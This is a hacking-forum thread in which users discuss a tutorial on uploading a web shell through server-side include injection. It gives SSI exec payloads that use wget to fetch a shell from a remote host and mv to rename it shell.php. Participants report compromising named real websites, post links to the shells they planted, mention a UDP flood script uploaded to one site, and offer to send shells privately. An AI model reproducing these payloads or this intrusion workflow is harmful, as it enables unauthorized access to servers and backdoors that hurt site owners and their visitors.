Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUTORIAL] Upload a shell via SSI injection [Noob Friendly]

the wget line isnt written correctly i think. and Great, Great post OP
(Jun 21, 2012 10:13 AM)Team4o4 Wrote:  I just tried that too... Maybe is it the website? http://www.getstock.com/user/login.shtml

Do you have MSN we could chat on?

On the post i got it said: To get a shell up, just wget the shellcode and make the output something such as "shell.txt".

So does that mean I need to do something differently?

No.
You just download your shell with this:

Code
[b]<!--[/b]#exec cmd="wget http://website.com/youshellintxtformat.txt" -->

And rename it:

Code
[b]<!--[/b]#exec cmd="mv youshellintxtformat.txt shell.php" -->
(Jun 21, 2012 10:33 AM)HaxOr❤ Wrote:  No.
You just download your shell with this:

Code
[b]<!--[/b]#exec cmd="wget http://website.com/youshellintxtformat.txt" -->

And rename it:

Code
[b]<!--[/b]#exec cmd="mv youshellintxtformat.txt shell.php" -->

Im sorry but my wget isn't working... Could it be my server not allowing it?
[Image: vfhNNbJ.gif]
(Jun 21, 2012 11:00 AM)Team4o4 Wrote:  Im sorry but my wget isn't working... Could it be my server not allowing it?

On that site it isn't working.
Try site i gave in OP...
(Jun 21, 2012 11:12 AM)HaxOr❤ Wrote:  On that site it isn't working.
Try site i gave in OP...
It's working partly. I ran different commands, but seems like that wget command specifically does not work.
(Jun 21, 2012 11:12 AM)HaxOr❤ Wrote:  On that site it isn't working.
Try site i gave in OP...

The link you gave in the OP doesn't even show the fields... it just says this:
[img]http://www.kylem.in/e.png[/img]

Okay well after just going to their main site and using the search function, I was able to upload my shell(twice by accident) and rename them to shell.php and tmp01.php as you can see here: http://stockphotosamerica.com/SwishSearc...C%2Fpre%3E

But when I try to access those pages, the page is completely white... Is it my shell... or what is up? I was just using the I-47 shell.

Turns out it was the shell not working for some reason, but now I got a working one up at http://stockphotosamerica.com/tmp03.php
[Image: vfhNNbJ.gif]
awesome tutorial.
Thanks for writing such great tutorial. 🤝
(Jun 21, 2012 09:50 PM)Suved Wrote:  awesome tutorial.
Thanks for writing such great tutorial. 🤝

Where do I get any shell?
I want to upload somthing. XD
(Jun 21, 2012 10:26 PM)A V A T A R Wrote:  Where do I get any shell?
I want to upload somthing. XD

PM me I'll give you a shell.
Spoiler (Click to View)
[Image: vfhNNbJ.gif]
It says "wrong username" when I upload the shell.
Great tut h4x0r....Thanks for doing this and explaining it more...
Somone uploaded a UDP flood, EPIC lol
http://stockphotosamerica.com/old.index.php
really good job sir, nice explain and easy to understand for reverse shell , well done +1
i am your fan now because the way you explain is very awesome .
thanks you for the tut
Nice work, HQ, keep it up! 👍


Possibly Related Threads...
Thread / Author Replies Views Last Post
by spirited_wolf™Aug 8, 2021 12:47 AM 11 1,094 Aug 8, 2021 12:47 AM
Last Post: savetree
by DrCrypterOct 31, 2020 12:17 PM 0 198 Oct 31, 2020 12:17 PM
Last Post: DrCrypter
by mObiIeDec 26, 2019 08:27 AM 20 1,891 Dec 26, 2019 08:27 AM
Last Post: mineshparikh1